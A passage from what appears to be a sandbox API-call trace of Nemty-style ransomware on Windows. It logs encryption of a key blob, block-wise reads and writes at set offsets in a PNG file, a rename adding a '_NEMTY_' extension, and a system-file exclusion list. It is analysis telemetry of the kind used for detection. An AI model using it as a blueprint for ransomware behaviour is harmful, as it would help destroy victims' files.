CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0064.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0064.002] Sleep (dwMilliseconds=0x5) [0064.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9cbee50, dwHighDateTime=0x1d561e7)) [0064.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd9cbee50, dwHighDateTime=0x1d561e7)) [0064.005] GetLastError () returned 0xb7 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.005] GetLastError () returned 0xb7 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0064.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.005] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0064.005] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Yw0GWsSBLWIqHj3bUgX1tn34Tyt5cJyXyNc1RgLuF2VZd+OPnmgx+Lji4hYrr8Qq\r\nxWIC7KyVkIrrSqY5xTQsfMfbS7/BmLDPakpyFZiquz1bRQcpEadKaTInJjuaiHOz\r\nNKQLU0BQO7TIhdcnSL0mkDDO072hHgT6psNvi0blO8/3pAa1DYL1rtBCj57uWpoJ\r\nBa9ofq8zyRKaaOxQQZaeUppvuSEuTvEwBp1hweJzABEuXlzEu7udKv+GzhCpjRpQ\r\nscbv1A6nSxIt9s8QGD4JcPUPbRbyi1BDGQg3zxY6r4gku7rsRNo0/szOfZG0I5Kr\r\nariv+q7vZzUYPm+xdi9eSg==\r\n", pcchString=0x653e91c) returned 1 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.005] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.115] CloseHandle (hObject=0xffffffff) returned 0 [0064.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0064.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0064.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0064.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0064.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0064.115] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png._nemty_kgobjgd_")) returned 0 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.116] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0064.116] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0064.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0064.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0064.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0064.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0064.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0064.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0064.117] WideCharToMultiByte (in: CodePage=0xfde9, 